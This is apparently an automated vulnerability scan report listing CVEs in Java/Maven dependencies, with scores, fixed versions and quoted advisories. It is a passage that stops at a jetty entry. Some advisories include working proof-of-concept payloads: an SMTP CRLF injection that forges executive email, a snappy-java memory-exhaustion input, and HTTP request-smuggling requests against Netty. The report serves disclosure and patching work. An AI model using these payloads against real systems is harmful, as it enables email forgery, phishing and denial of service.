-high 8.7: CVE--2023--52428 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<9.37.2
Fixed version9.37.2
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.078%
EPSS Percentile24th percentile
- -
Description -
- -In Connect2id Nimbus JOSE+JWT before 9.37.2, an attacker can cause a denial of service (resource consumption) via a large JWE p2c header value (aka iteration count) for the PasswordBasedDecrypter (PBKDF2) component. - -
-
- -medium 5.8: CVE--2025--53864 Uncontrolled Recursion - - - - - - - - -
Affected range<9.37.4
Fixed version10.0.2
CVSS Score5.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L
EPSS Score0.044%
EPSS Percentile14th percentile
- -
Description -
- -Connect2id Nimbus JOSE + JWT before 10.0.2 allows a remote attacker to cause a denial of service via a deeply nested JSON object supplied in a JWT claim set, because of uncontrolled recursion. NOTE: this is independent of the Gson 2.11.0 issue because the Connect2id product could have checked the JSON object nesting depth, regardless of what limits (if any) were imposed by Gson. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 io.airlift/aircompressor 0.25 (maven) - -pkg:maven/io.airlift/aircompressor@0.25
-high 8.6: CVE--2024--36114 Out-of-bounds Read - - - - - - - - -
Affected range<0.27
Fixed version0.27
CVSS Score8.6
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H
EPSS Score0.120%
EPSS Percentile32nd percentile
- -
Description -
- -### Summary -All decompressor implementations of Aircompressor (LZ4, LZO, Snappy, Zstandard) can crash the JVM for certain input, and in some cases also leak the content of other memory of the Java process (which could contain sensitive information). - -### Details -When decompressing certain data, the decompressors try to access memory outside the bounds of the given byte arrays or byte buffers. Because Aircompressor uses the JDK class `sun.misc.Unsafe` to speed up memory access, no additional bounds checks are performed and this has similar security consequences as out-of-bounds access in C or C++, namely it can lead to non-deterministic behavior or crash the JVM. - -Users should update to Aircompressor 0.27 or newer where these issues have been fixed. - -### Impact -When decompressing data from untrusted users, this can be exploited for a denial-of-service attack by crashing the JVM, or to leak other sensitive information from the Java process. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 ch.qos.logback/logback-classic 1.2.10 (maven) - -pkg:maven/ch.qos.logback/logback-classic@1.2.10
-high 7.1: CVE--2023--6378 Deserialization of Untrusted Data - - - - - - - - -
Affected range<1.2.13
Fixed version1.2.13
CVSS Score7.1
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
EPSS Score0.613%
EPSS Percentile69th percentile
- -
Description -
- -A serialization vulnerability in logback receiver component part of logback allows an attacker to mount a Denial-Of-Service attack by sending poisoned data. - -This is only exploitable if logback receiver component is deployed. See https://logback.qos.ch/manual/receivers.html - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 dnsjava/dnsjava 2.1.7 (maven) - -pkg:maven/dnsjava/dnsjava@2.1.7
-high 7.0: CVE--2024--25638 Insufficient Verification of Data Authenticity - - - - - - - - -
Affected range<3.6.0
Fixed version3.6.0
CVSS Score7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:L
EPSS Score0.188%
EPSS Percentile41st percentile
- -
Description -
- -### Summary - -Records in DNS replies are not checked for their relevance to the query, allowing an attacker to respond with RRs from different zones. - -### Details - -DNS Messages are not authenticated. They do not guarantee that - -- received RRs are authentic -- not received RRs do not exist -- all or any received records in a response relate to the request - -Applications utilizing DNSSEC generally expect these guarantees to be met, however DNSSEC by itself only guarantees the first two. -To meet the third guarantee, resolvers generally follow an (undocumented, as far as RFCs go) algorithm such as: (simplified, e.g. lacks DNSSEC validation!) - -1. denote by `QNAME` the name you are querying (e.g. fraunhofer.de.), and initialize a list of aliases -2. if the ANSWER section contains a valid PTR RRSet for `QNAME`, return it (and optionally return the list of aliases as well) -3. if the ANSWER section contains a valid CNAME RRSet for `QNAME`, add it to the list of aliases. Set `QNAME` to the CNAME's target and go to 2. -4. Verify that `QNAME` does not have any PTR, CNAME and DNAME records using valid NSEC or NSEC3 records. Return `null`. - -Note that this algorithm relies on NSEC records and thus requires a considerable portion of the DNSSEC specifications to be implemented. For this reason, it cannot be performed by a DNS client (aka application) and is typically performed as part of the resolver logic. - -dnsjava does not implement a comparable algorithm, and the provided APIs instead return either - -- the received DNS message itself (e.g. when using a ValidatingResolver such as in [this](https://github.com/dnsjava/dnsjava/blob/master/EXAMPLES.md#dnssec-resolver) example), or -- essentially just the contents of its ANSWER section (e.g. when using a LookupSession such as in [this](https://github.com/dnsjava/dnsjava/blob/master/EXAMPLES.md#simple-lookup-with-a-resolver) example) - -If applications blindly filter the received results for RRs of the desired record type (as seems to be typical usage for dnsjava), a rogue recursive resolver or (on UDP/TCP connections) a network attacker can - -- In addition to the actual DNS response, add RRs irrelevant to the query but of the right datatype, e.g. from another zone, as long as that zone is correctly using DNSSEC, or -- completely exchange the relevant response records - -### Impact - -DNS(SEC) libraries are usually used as part of a larger security framework. -Therefore, the main misuses of this vulnerability concern application code, which might take the returned records as authentic answers to the request. -Here are three concrete examples of where this might be detrimental: - -- [RFC 6186](https://datatracker.ietf.org/doc/html/rfc6186) specifies that to connect to an IMAP server for a user, a mail user agent should retrieve certain SRV records and send the user's credentials to the specified servers. Exchanging the SRV records can be a tool to redirect the credentials. -- When delivering mail via SMTP, MX records determine where to deliver the mails to. Exchanging the MX records might lead to information disclosure. Additionally, an exchange of TLSA records might allow attackers to intercept TLS traffic. -- Some research projects like [LIGHTest](https://www.lightest.eu/) are trying to manage CA trust stores via URI and SMIMEA records in the DNS. Exchanging these allows manipulating the root of trust for dependent applications. - -### Mitigations - -At this point, the following mitigations are recommended: - -- When using a ValidatingResolver, ignore any Server indications of whether or not data was available (e.g. NXDOMAIN, NODATA, ...). -- For APIs returning RRs from DNS responses, filter the RRs using an algorithm such as the one above. This includes e.g. `LookupSession.lookupAsync`. -- Remove APIs dealing with raw DNS messages from the examples section or place a noticable warning above. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 com.fasterxml.jackson.core/jackson-core 2.13.4 (maven) - -pkg:maven/com.fasterxml.jackson.core/jackson-core@2.13.4
-high 8.7: CVE--2025--52999 Stack-based Buffer Overflow - - - - - - - - -
Affected range<2.15.0
Fixed version2.15.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.030%
EPSS Percentile8th percentile
- -
Description -
- -### Impact -With older versions of jackson-core, if you parse an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large. - -### Patches -jackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. Change is in https://github.com/FasterXML/jackson-core/pull/943. jackson-core will throw a StreamConstraintsException if the limit is reached. -jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs. - -### Workarounds -Users should avoid parsing input files from untrusted sources. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-codec-smtp 4.1.96.Final (maven) - -pkg:maven/io.netty/netty-codec-smtp@4.1.96.Final
-high 7.7: CVE--2025--59419 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') - - - - - - - - -
Affected range<4.1.128.Final
Fixed version4.1.128.Final
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score3.365%
EPSS Percentile87th percentile
- -
Description -
- -### Summary -An SMTP Command Injection (CRLF Injection) vulnerability in Netty's SMTP codec allows a remote attacker who can control SMTP command parameters (e.g., an email recipient) to forge arbitrary emails from the trusted server. This bypasses standard email authentication and can be used to impersonate executives and forge high-stakes corporate communications. - -### Details -The root cause is the lack of input validation for Carriage Return (\r) and Line Feed (\n) characters in user-supplied parameters. - -The vulnerable code is in io.netty.handler.codec.smtp.DefaultSmtpRequest, where parameters are directly concatenated into the SMTP command string. For example, when SmtpRequests.rcpt(recipient) is called, a malicious recipient string containing CRLF sequences can inject a new, separate SMTP command. - -Because the injected commands are sent from the server's trusted IP, any resulting emails will likely pass SPF and DKIM checks, making them appear legitimate to the victim's email client. - -### PoC -A minimal PoC involves passing a crafted string containing CRLF sequences to any `SmtpRequest` that accepts user-controlled parameters. - -**1. Malicious Payload** - -The core of the exploit is the payload, where new SMTP commands are injected into a parameter. - -```java -// The legitimate recipient is followed by an injected email sequence -String injected_recipient = "legit-recipient@example.com\r\n" + - "MAIL FROM:\r\n" + - "RCPT TO:\r\n" + - "DATA\r\n" + - "From: ceo@trusted-domain.com\r\n" + - "To: victim@anywhere.com\r\n" + - "Subject: Urgent: Phishing Email\r\n" + - "\r\n" + - "This is a forged email that will pass authentication checks.\r\n" + - ".\r\n" + - "QUIT\r\n"; -``` - -**2. Triggering the Vulnerability** - -The vulnerability is triggered when this payload is used to create an SMTP request. - -```java -// The Netty SMTP codec will fail to sanitize this input -SmtpRequest maliciousRequest = SmtpRequests.rcpt(injected_recipient); - -// When this request is sent to an SMTP server, the injected commands -// will be executed, sending a forged email. -channel.writeAndFlush(maliciousRequest); -``` - -**3. Full Reproduction Steps** - -A complete, runnable PoC is available as a GitHub Gist to demonstrate the full attack flow against a local SMTP server - -* **Full PoC Code:** https://gist.github.com/DepthFirstDisclosures/ddacca28cb94b48fa8ab998cef59ed8c - -To run the full PoC: - -1. **Set up a local SMTP server.** The easiest way is using MailHog: - * On macOS: `brew install mailhog && mailhog` - * Using Docker: `docker run -p 1025:1025 -p 8025:8025 mailhog/mailhog` -2. **Run the PoC code.** The code will connect to the SMTP server at `localhost:1025` and send the malicious payload. -3. **Verify the result.** Open the MailHog web UI at `http://localhost:8025`. You will see the forged email sent to `victim@anywhere.com` from `ceo@trusted-domain.com`. - -### Impact -This is a SMTP Command Injection vulnerability. It impacts any application using `netty-codec-smtp` to construct SMTP requests where an attacker can control or influence any of the SMTP string parameters (e.g., `from`, `recipient`, `helo` hostname). - -The primary impacts are: -* **Economic Manipulation & Disinformation:** Attackers can forge emails from high-value targets (e.g., corporate executives, government officials) and send them to journalists, financial institutions, or the public. A fraudulent email announcing false financial results, a fake merger, or a security breach could be used to manipulate stock prices or cause significant economic disruption. -* **Sophisticated Phishing:** Attackers can send high-fidelity phishing emails that bypass email authentication (SPF/DKIM) and appear to come from a trusted source, making them highly likely to deceive users. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 org.xerial.snappy/snappy-java 1.1.10.3 (maven) - -pkg:maven/org.xerial.snappy/snappy-java@1.1.10.3
-high 7.5: CVE--2023--43642 Allocation of Resources Without Limits or Throttling - - - - - - - - -
Affected range<=1.1.10.3
Fixed version1.1.10.4
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.190%
EPSS Percentile41st percentile
- -
Description -
- -### Summary - -snappy-java is a data compression library in Java. Its SnappyInputStream was found to be vulnerable to Denial of Service (DoS) attacks when decompressing data with a too-large chunk size. Due to missing upper bound check on chunk length, an unrecoverable fatal error can occur. - -### Scope - -All versions of snappy-java including the latest released version 1.1.10.3. A fix is applied in 1.1.10.4 - -### Details -While performing mitigation efforts related to [CVE-2023-34455](https://nvd.nist.gov/vuln/detail/CVE-2023-34455) in Confluent products, our Application Security team closely analyzed the fix that was accepted and merged into snappy-java version 1.1.10.1 in [this](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea) commit. The check on [line 421](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea#diff-c3e53610267092989965e8c7dd2d4417d355ff7f560f9e8075b365f32569079fR421) only attempts to check if chunkSize is not a negative value. We believe that this is an inadequate fix as it misses an upper-bounds check for overly positive values such as 0x7FFFFFFF (or (2,147,483,647 in decimal) before actually [attempting to allocate](https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea#diff-c3e53610267092989965e8c7dd2d4417d355ff7f560f9e8075b365f32569079fR429) the provided unverified number of bytes via the “chunkSize” variable. This missing upper-bounds check can lead to the applications depending upon snappy-java to allocate an inappropriate number of bytes on the heap which can then cause an java.lang.OutOfMemoryError exception. Under some specific conditions and contexts, this can lead to a Denial-of-Service (DoS) attack with a direct impact on the availability of the dependent implementations based on the usage of the snappy-java library for compression/decompression needs. - -### PoC -Compile and run the following code: -``` -package org.example; -import org.xerial.snappy.SnappyInputStream; - -import java.io.*; - -public class Main { - - public static void main(String[] args) throws IOException { - byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0x7f, (byte) 0xff, (byte) 0xff, (byte) 0xff}; - SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data)); - byte[] out = new byte[50]; - try { - in.read(out); - } - catch (Exception ignored) { - } - } -} -``` - -### Impact -Denial of Service of applications dependent on snappy-java especially if `ExitOnOutOfMemoryError` or `CrashOnOutOfMemoryError` is configured on the JVM. - -### Credits -Jan Werner, Mukul Khullar and Bharadwaj Machiraju from Confluent's Application Security team. - -We kindly request for a new CVE ID to be assigned once you acknowledge this vulnerability. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 commons-beanutils/commons-beanutils 1.9.4 (maven) - -pkg:maven/commons-beanutils/commons-beanutils@1.9.4
-high 8.8: CVE--2025--48734 Improper Access Control - - - - - - - - -
Affected range>=1.0
<=1.10.1
Fixed version1.11.0
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS Score0.077%
EPSS Percentile23rd percentile
- -
Description -
- -Improper Access Control vulnerability in Apache Commons. - - - -A special BeanIntrospector class was added in version 1.9.2. This can be used to stop attackers from using the declared class property of Java enum objects to get access to the classloader. However this protection was not enabled by default. PropertyUtilsBean (and consequently BeanUtilsBean) now disallows declared class level property access by default. - - - - - -Releases 1.11.0 and 2.0.0-M2 address a potential security issue when accessing enum properties in an uncontrolled way. If an application using Commons BeanUtils passes property paths from an external source directly to the getProperty() method of PropertyUtilsBean, an attacker can access the enum’s class loader via the “declaredClass” property available on all Java “enum” objects. Accessing the enum’s “declaredClass” allows remote attackers to access the ClassLoader and execute arbitrary code. The same issue exists with PropertyUtilsBean.getNestedProperty(). -Starting in versions 1.11.0 and 2.0.0-M2 a special BeanIntrospector suppresses the “declaredClass” property. Note that this new BeanIntrospector is enabled by default, but you can disable it to regain the old behavior; see section 2.5 of the user's guide and the unit tests. - -This issue affects Apache Commons BeanUtils 1.x before 1.11.0, and 2.x before 2.0.0-M2.Users of the artifact commons-beanutils:commons-beanutils - - 1.x are recommended to upgrade to version 1.11.0, which fixes the issue. - - -Users of the artifact org.apache.commons:commons-beanutils2 - - 2.x are recommended to upgrade to version 2.0.0-M2, which fixes the issue. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 commons-io/commons-io 2.11.0 (maven) - -pkg:maven/commons-io/commons-io@2.11.0
-high 8.7: CVE--2024--47554 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=2.0
<2.14.0
Fixed version2.14.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.173%
EPSS Percentile39th percentile
- -
Description -
- -Uncontrolled Resource Consumption vulnerability in Apache Commons IO. - -The `org.apache.commons.io.input.XmlStreamReader` class may excessively consume CPU resources when processing maliciously crafted input. - - -This issue affects Apache Commons IO: from 2.0 before 2.14.0. - -Users are recommended to upgrade to version 2.14.0 or later, which fixes the issue. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 com.google.protobuf/protobuf-java 3.23.4 (maven) - -pkg:maven/com.google.protobuf/protobuf-java@3.23.4
-high 8.7: CVE--2024--7254 Improper Input Validation - - - - - - - - -
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.077%
EPSS Percentile23rd percentile
- -
Description -
- -### Summary -When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. - -Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team - -Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. - -### Severity -[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) -This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. - -### Proof of Concept -For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. - -### Remediation and Mitigation -We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: -* protobuf-java (3.25.5, 4.27.5, 4.28.2) -* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) -* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-handler 4.1.94.Final (maven) - -pkg:maven/io.netty/netty-handler@4.1.94.Final
-high 7.5: CVE--2025--24970 Improper Input Validation - - - - - - - - -
Affected range>=4.1.91.Final
<=4.1.117.Final
Fixed version4.1.118.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.347%
EPSS Percentile57th percentile
- -
Description -
- -### Impact -When a special crafted packet is received via SslHandler it doesn't correctly handle validation of such a packet in all cases which can lead to a native crash. - -### Workarounds -As workaround its possible to either disable the usage of the native SSLEngine or changing the code from: - -``` -SslContext context = ...; -SslHandler handler = context.newHandler(....); -``` - -to: - -``` -SslContext context = ...; -SSLEngine engine = context.newEngine(....); -SslHandler handler = new SslHandler(engine, ....); -``` - -
-
-
-
critical: 0 high: 0 medium: 3 low: 0 org.apache.commons/commons-compress 1.23.0 (maven) - -pkg:maven/org.apache.commons/commons-compress@1.23.0
-medium 6.7: CVE--2024--26308 Allocation of Resources Without Limits or Throttling - - - - - - - - -
Affected range>=1.21
<1.26.0
Fixed version1.26.0
CVSS Score6.7
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.448%
EPSS Percentile63rd percentile
- -
Description -
- -Allocation of Resources Without Limits or Throttling vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.21 before 1.26. - -Users are recommended to upgrade to version 1.26, which fixes the issue. - -
-
- -medium 5.9: CVE--2024--25710 Loop with Unreachable Exit Condition ('Infinite Loop') - - - - - - - - -
Affected range>=1.3
<1.26.0
Fixed version1.26.0
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:H
EPSS Score0.018%
EPSS Percentile4th percentile
- -
Description -
- -Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.3 through 1.25.0. - -Users are recommended to upgrade to version 1.26.0 which fixes the issue. - -
-
- -medium 5.5: CVE--2023--42503 Improper Input Validation - - - - - - - - -
Affected range>=1.22
<1.24.0
Fixed version1.24.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
EPSS Score0.011%
EPSS Percentile1st percentile
- -
Description -
- -Improper Input Validation, Uncontrolled Resource Consumption vulnerability in Apache Commons Compress in TAR parsing.This issue affects Apache Commons Compress: from 1.22 before 1.24.0. - -Users are recommended to upgrade to version 1.24.0, which fixes the issue. - -A third party can create a malformed TAR file by manipulating file modification times headers, which when parsed with Apache Commons Compress, will cause a denial of service issue via CPU consumption. - -In version 1.22 of Apache Commons Compress, support was added for file modification times with higher precision (issue # COMPRESS-612 [1]). The format for the PAX extended headers carrying this data consists of two numbers separated by a period [2], indicating seconds and subsecond precision (for example “1647221103.5998539”). The impacted fields are “atime”, “ctime”, “mtime” and “LIBARCHIVE.creationtime”. No input validation is performed prior to the parsing of header values. - -Parsing of these numbers uses the BigDecimal [3] class from the JDK which has a publicly known algorithmic complexity issue when doing operations on large numbers, causing denial of service (see issue # JDK-6560193 [4]). A third party can manipulate file time headers in a TAR file by placing a number with a very long fraction (300,000 digits) or a number with exponent notation (such as “9e9999999”) within a file modification time header, and the parsing of files with these headers will take hours instead of seconds, leading to a denial of service via exhaustion of CPU resources. This issue is similar to CVE-2012-2098 [5]. - -[1]: https://issues.apache.org/jira/browse/COMPRESS-612 -[2]: https://pubs.opengroup.org/onlinepubs/9699919799/utilities/pax.html#tag_20_92_13_05 -[3]: https://docs.oracle.com/javase/8/docs/api/java/math/BigDecimal.html -[4]: https://bugs.openjdk.org/browse/JDK-6560193 -[5]: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2098 - -Only applications using CompressorStreamFactory class (with auto-detection of file types), TarArchiveInputStream and TarFile classes to parse TAR files are impacted. Since this code was introduced in v1.22, only that version and later versions are impacted. - -
-
-
-
critical: 0 high: 0 medium: 2 low: 1 io.netty/netty-codec-http 4.1.96.Final (maven) - -pkg:maven/io.netty/netty-codec-http@4.1.96.Final
-medium 6.5: CVE--2025--67735 Improper Neutralization of CRLF Sequences ('CRLF Injection') - - - - - - - - -
Affected range<4.1.129.Final
Fixed version4.1.129.Final
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.050%
EPSS Percentile16th percentile
- -
Description -
- -### Summary - -The `io.netty.handler.codec.http.HttpRequestEncoder` CRLF injection with the request uri when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the uri. - -### Details - -The `HttpRequestEncoder` simply UTF8 encodes the `uri` without sanitization (`buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);`) - -The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers. - -### PoC - -Simple reproducer: - -```java -public static void main(String[] args) { - - EmbeddedChannel client = new EmbeddedChannel(); - client.pipeline().addLast(new HttpClientCodec()); - - EmbeddedChannel server = new EmbeddedChannel(); - server.pipeline().addLast(new HttpServerCodec()); - server.pipeline().addLast(new ChannelInboundHandlerAdapter() { - @Override - public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { - System.out.println("Processing msg " + msg); - } - }); - - DefaultHttpRequest request = new DefaultHttpRequest( - HttpVersion.HTTP_1_1, - HttpMethod.GET, - "/s1 HTTP/1.1\r\n" + - "\r\n" + - "POST /s2 HTTP/1.1\r\n" + - "content-length: 11\r\n\r\n" + - "Hello World" + - "GET /s1" - ); - client.writeAndFlush(request); - ByteBuf tmp; - while ((tmp = client.readOutbound()) != null) { - server.writeInbound(tmp); - } -} -``` - -### Impact - -Any application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection. - -
-
- -medium 5.3: CVE--2024--29025 Allocation of Resources Without Limits or Throttling - - - - - - - - -
Affected range<4.1.108.Final
Fixed version4.1.108.Final
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.261%
EPSS Percentile49th percentile
- -
Description -
- -### Summary -The `HttpPostRequestDecoder` can be tricked to accumulate data. I have spotted currently two attack vectors - -### Details -1. While the decoder can store items on the disk if configured so, there are no limits to the number of fields the form can have, an attacher can send a chunked post consisting of many small fields that will be accumulated in the `bodyListHttpData` list. -2. The decoder cumulates bytes in the `undecodedChunk` buffer until it can decode a field, this field can cumulate data without limits - -### PoC - -Here is a Netty branch that provides a fix + tests : https://github.com/vietj/netty/tree/post-request-decoder - - -Here is a reproducer with Vert.x (which uses this decoder) https://gist.github.com/vietj/f558b8ea81ec6505f1e9a6ca283c9ae3 - -### Impact -Any Netty based HTTP server that uses the `HttpPostRequestDecoder` to decode a form. - -
-
- -low : CVE--2025--58056 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - -
Affected range<4.1.125.Final
Fixed version4.1.125.Final
EPSS Score0.027%
EPSS Percentile7th percentile
- -
Description -
- -## Summary -A flaw in netty's parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies. - -## Details -When encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the [RFC](https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding)). - -This is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension): - -``` -POST /one HTTP/1.1 -Host: localhost:8080 -Transfer-Encoding: chunked - -48;\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n0 - -POST /two HTTP/1.1 -Host: localhost:8080 -Transfer-Encoding: chunked - -0 - -``` - -The intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see [this Portswigger article](https://portswigger.net/web-security/request-smuggling/exploiting)). - -## Impact -This is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients. - -The impact is high, but it only affects setups that use a front-end which: -1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension. -2. Forwards chunk extensions without normalization. - -## Disclosure - - - This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html - -## Discussion -Discussion for this vulnerability can be found here: - - https://github.com/netty/netty/issues/15522 - - https://github.com/JLLeitschuh/unCVEed/issues/1 - -## Credit - - - Credit to @JeppW for uncovering this vulnerability. - - Credit to @JLLeitschuh at [Socket](https://socket.dev/) for coordinating the vulnerability disclosure. - -
-
-
-
critical: 0 high: 0 medium: 2 low: 1 com.google.guava/guava 14.0.1 (maven) - -pkg:maven/com.google.guava/guava@14.0.1
-medium 5.9: CVE--2018--10237 Deserialization of Untrusted Data - - - - - - - - -
Affected range>=11.0
<24.1.1-android
Fixed version24.1.1-android
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score3.259%
EPSS Percentile87th percentile
- -
Description -
- -Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable. - -
-
- -medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions - - - - - - - - -
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.071%
EPSS Percentile22nd percentile
- -
Description -
- -Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. - -Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. - -
-
- -low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding - - - - - - - - -
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
- -
Description -
- -A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. - - -
-
-
-
critical: 0 high: 0 medium: 2 low: 1 org.eclipse.jetty/jetty-webapp 9.4.51.v20230217 (maven) - -pkg:maven/org.eclipse.jetty/jetty-webapp@9.4.51.v20230217
-medium 5.3: CVE--2023--40167 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
